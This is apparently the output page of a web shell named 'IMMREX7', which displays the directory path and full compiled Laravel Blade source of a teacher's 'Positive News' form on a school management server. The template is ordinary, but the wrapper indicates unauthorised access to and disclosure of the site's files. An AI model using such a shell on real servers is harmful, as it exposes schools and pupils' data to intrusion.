IMMREX7

aku nok ndi : /home/spdtg/www/schoolmis/storage/framework/views/
File Up :
aku nok ndi : /home/spdtg/www/schoolmis/storage/framework/views/ed5ef056de6132614c69379b6e9f390a2a4636ab.php

<?php $__env->startSection('content'); ?>
<div class="row clearfix">
    <div class="col-lg-5 col-md-5 col-sm-5">
        <div class="card">
            <div class="header">
                <h2><strong><?php if(isset($pnews)): ?>Edit <?php else: ?>  Add <?php endif; ?></strong>Positive News</h2>
            </div>
            <div class="body">
                <?php if(isset($pnews)): ?>
                <?php echo Form::model($pnews, ['method' => 'PATCH', 'action' => ['Teacher\PositiveNewsController@update', $pnews->idNews], 'class' => 'form-horizontal']); ?>

                <?php else: ?>
                <?php echo Form::open(['url' => 'teacher/positivenews', 'class' => 'form-horizontal','files'=>true]); ?>

                <?php endif; ?>
                <div class="row clearfix">
                    <div class="col-sm-4 form-control-label">
                        <label for="classname">Select Class</label>
                    </div>
                    <div class="col-sm-8">
                        <div class="form-group">
                            <?php if(isset($pnews) && $pnews->idClass == null): ?>
                            <p class="form-control-static">All</p>
                            <?php else: ?> <?php if(isset($pnews)): ?>
                            <?php echo Form::select('idClass',$class,null,['class' => 'form-control show-tick ms']); ?>

                            <?php else: ?>
                            <div style="border:1px solid #ccc; width:250px; height: 110px; overflow-y: scroll;">
                                <div class="checkbox-inline" style="padding-left:10px;padding-top:5px;"><label style="margin-right:42px;"><strong>Select All</label></strong>
                                <input type="checkbox" class="select-all" name="all">
                                    <?php $__currentLoopData = $classes; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $key=>$value): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                                    <div class="checkbox-inline" style="padding-left:5px;">
                                        <label style="margin-right:10px;"><?php echo e($value); ?></label>
                                        <input type="checkbox" name="classes[]" value="<?php echo e($key); ?>" class="chkall">
                                    </div>
                                    <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
                                </div>   
                            </div>
                            <?php endif; ?>
                            <?php endif; ?>
                            <?php if($errors->has('idClass')): ?>
                            <label id="minmaxlength-error" class="error" for="minmaxlength">
                                <strong><?php echo e($errors->first('idClass')); ?></strong>
                            </label>
                            <?php endif; ?>
                        </div>
                    </div>
                </div><div class="row clearfix">
                    <div class="col-sm-4 form-control-label">
                        <label for="classname">Title</label>
                    </div>
                    <div class="col-sm-8">
                        <div class="form-group">
                            <?php echo Form::text('title',null,['class' => 'form-control']); ?>

                            <?php if($errors->has('title')): ?>
                            <label id="minmaxlength-error" class="error" for="minmaxlength">
                                <strong><?php echo e($errors->first('title')); ?></strong>
                            </label>
                            <?php endif; ?>
                        </div>
                    </div>
                </div>
                <div class="row clearfix">
                    <div class="col-sm-4 form-control-label">
                        <label for="classname">Category</label>
                    </div>
                    <div class="col-sm-8">
                        <div class="form-group">
                            <?php echo Form::text('category',null,['class' => 'form-control']); ?>

                            <?php if($errors->has('category')): ?>
                            <label id="minmaxlength-error" class="error" for="minmaxlength">
                                <strong><?php echo e($errors->first('category')); ?></strong>
                            </label>
                            <?php endif; ?>
                        </div>
                    </div>
                </div>
                <div class="row clearfix">
                    <div class="col-sm-4 form-control-label">
                        <label for="classname">Source</label>
                    </div>
                    <div class="col-sm-8">
                        <div class="form-group">
                            <?php echo Form::text('source',null,['class' => 'form-control']); ?>

                            <?php if($errors->has('source')): ?>
                            <label id="minmaxlength-error" class="error" for="minmaxlength">
                                <strong><?php echo e($errors->first('source')); ?></strong>
                            </label>
                            <?php endif; ?>
                        </div>
                    </div>
                </div>
                <div class="row clearfix">
                    <div class="col-sm-4 form-control-label">
                        <label for="classname">News</label>
                    </div>
                    <div class="col-sm-8">
                        <div class="form-group">
                            <?php echo Form::textarea('news',null,['class' => 'form-control','size'=>'30x2']); ?>

                            <?php if($errors->has('news')): ?>
                            <label id="minmaxlength-error" class="error" for="minmaxlength">
                                <strong><?php echo e($errors->first('news')); ?></strong>
                            </label>
                            <?php endif; ?>
                        </div>
                    </div>
                </div>
                <div class="row clearfix">
                    <div class="col-sm-4 form-control-label">
                        <label for="classname">Image</label>
                    </div>
                    <div class="col-sm-6">
                        <div class="form-group">
                            <?php echo Form::file('image',null,['class' => 'form-control']); ?>

                            <?php if($errors->has('image')): ?>
                            <label id="minmaxlength-error" class="error" for="minmaxlength">
                                <strong><?php echo e($errors->first('image')); ?></strong>
                            </label>
                            <?php endif; ?>
                        </div>
                    </div>
                </div>
                <div class="row clearfix">
                    <div class="col-sm-4 form-control-label">
                        <label for="classname">Select Publish Date</label>
                    </div>
                    <div class="col-sm-5">
                        <div class="form-group">
                            <?php echo Form::text('publishDate',null,['class' => 'form-control datepicker']); ?>

                            <?php if($errors->has('publishDate')): ?>
                            <label id="minmaxlength-error" class="error" for="minmaxlength">
                                <strong><?php echo e($errors->first('publishDate')); ?></strong>
                            </label>
                            <?php endif; ?>
                        </div>
                    </div>
                    <?php if(isset($pnews)): ?>
                    <?php else: ?>
                    <div class="col-sm-2">
                        <button class="btn btn-sm btn-success" style="font-size: 12px;" name='schedule'>Schedule</button>
                    </div>
                    <?php endif; ?>
                </div>
                <div class="row clearfix">
                    <div class="col-sm-8 offset-sm-2">
                        <?php if(isset($pnews)): ?>
                        <?php echo Form::submit('UPDATE',['class' => 'btn btn-raised btn-primary btn-round waves-effect']); ?>

                        <?php else: ?>
                        <?php echo Form::submit('PUBLISH NOW',['class' => 'btn btn-raised btn-warning btn-round waves-effect']); ?>

                        <?php endif; ?>
                        <?php echo Form::close(); ?> 
                    </div>
                </div>
           
            </div>
        </div>
    </div>

    <div class="col-lg-7">
        <div class="card">
            <?php $__currentLoopData = $positive_news; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $val): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
            <div class="body">
                <div class="row">
                    <div class="preview col-lg-4 col-md-12">
                        <div class="preview-pic tab-content">
                            <div class="tab-pane active" id="product_1">
                                <img src="<?php echo e(asset('storage/schools/'.$val->idSchool.'/positivenews/'.$val->image)); ?>" class="img-fluid">
                            </div>
                        </div>
                        <p>
                            <a href="<?php echo e(url('teacher/positivenews/' . $val->idNews . '/edit')); ?>" class="btn btn-sm btn-info waves-effect waves-float waves-red"><i class="zmdi zmdi-edit"></i></a>
                            <a href="#" class="btn btn-sm btn-danger waves-effect waves-float waves-red js-sweetalert" data-id="<?php echo e($val->idNews); ?>" data-type="confirm"><i class="zmdi zmdi-delete"></i></a>
                        </p>
                    </div>
                    <div class="details col-lg-8 col-md-12">
                        <h3 class="product-title m-b-0"><?php echo e($val->category); ?></h3>
                        <h6 class="price m-t-0"><span class="col-amber">DATE: <?php echo e($val->publishDate); ?> , SOURCE: <?php echo e($val->source); ?></span></h6>

                        <hr>
                        <p class="product-description"><?php echo e($val->news); ?></p>
                        <hr>

                    </div>
                </div>
            </div>
            <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
        </div>
    </div>
</div>
<?php $__env->stopSection(); ?>
<?php $__env->startSection('script'); ?>
<script>
$(document).on('click', '.select-all', function(){
    var checkAll = this.checked;
    if(checkAll === true){
            $('.chkall').each(function () {
                this.checked = checkAll;
            });
    }else{
        $('.chkall').each(function () {
                this.checked = checkAll;
        });
    }
 });
$(document).on('click', '.js-sweetalert', function (e) {
    $.ajaxSetup({
        headers: {
          'X-CSRF-TOKEN': $('meta[name="csrf-token"]').attr('content')
        }
    });
    e.preventDefault();
    var id = $(this).data('id');
    swal({
            title: "Are you sure?",
            text: "Are You sure you want to delete this Newsletter!",
            type: "warning",
            showCancelButton: true,
            confirmButtonColor: "#DD6B55",
            confirmButtonText: "Yes, delete it!",
            closeOnConfirm: true
        },
        function() {
         //   console.log('here');
            $.ajax({
                type: "DELETE",
                url: "<?php echo e(url('/teacher/positivenews/')); ?>" +"/"+id,
                data: {id:id}
                       
            })
            .done(function(data) {
                swal({
                    title: "Deleted", 
                    text: "Positive News has been successfully deleted", 
                    type: "success"
                },function() {
                    location.reload();
                });
            })
            .error(function(data) {
              swal("Oops", "We couldn't connect to the server!", "error");
            });
            return false;
    });
});
</script>
<?php $__env->stopSection(); ?>
<?php echo $__env->make('teachers.teacher_layout', array_except(get_defined_vars(), array('__data', '__path')))->render(); ?>

Copyright © 2021 - 2025 IMMREX7